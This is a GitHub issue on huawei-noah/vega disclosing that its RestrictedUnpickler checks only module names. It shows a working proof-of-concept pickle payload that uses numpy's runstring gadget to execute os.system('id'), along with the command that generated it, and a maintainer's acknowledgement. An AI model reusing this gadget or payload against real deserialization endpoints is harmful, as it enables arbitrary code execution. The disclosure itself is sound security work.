huawei-noah / vega

AutoML tools chain
http://www.noahlab.com.hk/opensource/vega/
Other
842 stars 175 forks source link

`RestrictedUnpickler` is Bypassable #228

Open splitline opened 2 years ago

splitline commented 2 years ago

Overview

We have a RestrictedUnpickler to provide a safe way to deserialize. But the implementation seems not really safe and basically bypassable.

How to Bypass (PoC)

It allows several modules: vega, torch, torchvision, functools, timm, mindspore, tensorflow, numpy, imageio, collections here, and doesn't check the name at all: https://github.com/huawei-noah/vega/blob/8b0ae198ee505c1e2baee215127a8100aa59412e/vega/security/load_pickle.py#L36-L51

So I found a simple gadget in numpy (other modules should have some gadgets too)

We can see there is a runstring in numpy.testing._private.utils, it's kinda an alias of the exec function

https://github.com/numpy/numpy/blob/f69ddd7111048111a7e486a2d7d008bd231af33d/numpy/testing/_private/utils.py#L1134-L1135

So we can just import that and bypass the restricting.

I use my toy compiler to generate pickle bytecode. Exploits should execute code: __import__('os').system('id').

PoC:

from vega.security.load_pickle import restricted_loads
restricted_loads(b'\x80\x04\x95T\x00\x00\x00\x00\x00\x00\x00(\x8c\x1cnumpy.testing._private.utils\x8c\trunstring\x93\x94h\x00\x8c\x1d__import__("os").system("id")(d\x86R1N.')

Bytecode is generated by: python pickora.py -c "from numpy.testing._private.utils import runstring;runstring('__import__(\"os\").system(\"id\")',{})"

The Proper Way?

The correct way to restrict globals is restricting both module and name in find_class at the same time, just like what the documet do.

zhangjiajin commented 2 years ago

@splitline

You're right. Thank you for the example. Currently, the restriction is not absolute, and the name is not filtered. The current restriction is to check whether the wrong package has been imported.

Because we can't predetermine the name, we can't filter by name. We will add risk alerts to inform users that when importing an object, they need to pre-determine that the object does not include dangerous actions.

Thank you very much. You brought up a very professional issue.